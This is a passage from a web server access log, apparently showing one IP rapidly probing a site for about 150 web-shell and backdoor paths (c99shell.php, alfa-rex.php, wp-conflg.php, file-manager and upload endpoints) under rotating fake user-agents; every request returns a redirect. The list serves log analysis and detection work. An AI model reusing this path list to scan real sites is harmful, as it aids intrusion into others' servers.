/wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:28:45 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:45 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:45 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:28:46 +0300] "GET /wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:28:46 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:47 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:47 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:47 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:48 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:48 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:28:49 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:49 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:49 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:50 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:50 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:50 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:51 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:51 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:52 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:52 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:52 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:28:53 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:53 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:53 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:54 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:54 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:28:54 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:55 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:55 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:55 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:56 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:56 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:28:56 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:28:57 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:57 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:57 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:28:58 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:28:58 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:28:58 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:28:59 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:28:59 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:28:59 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:00 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:00 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:29:00 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:01 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:01 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:01 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:02 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:29:02 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:02 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:03 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:03 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:29:04 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:29:04 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:29:04 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:05 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:05 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:29:05 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:06 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:06 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:29:06 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:07 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:07 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:29:07 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:08 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:08 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:08 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:09 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:09 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:09 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:10 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:10 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:10 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:29:11 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:11 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:11 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:11 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:12 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:12 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:29:12 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:13 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:13 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:29:13 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:29:14 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:14 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:14 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:29:15 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:15 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:29:15 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:16 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:16 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:16 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:16 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:17 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:29:17 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:17 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:18 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:18 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:18 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:19 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:19 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:19 +0300] "GET /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:20 +0300] "GET /wp-content/plugins/Ultimate_VC_Addons/assets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:20 +0300] "GET /wp-includes/js/dist/script-modules/block-library/search/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:29:20 +0300] "GET /wp-includes/customize/class-wp-customize-cropped-image-control.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:21 +0300] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:21 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:29:21 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:29:22 +0300] "GET /wp-content/uploads/system_core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:29:22 +0300] "GET /wp-includes/css/dist/preferences/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 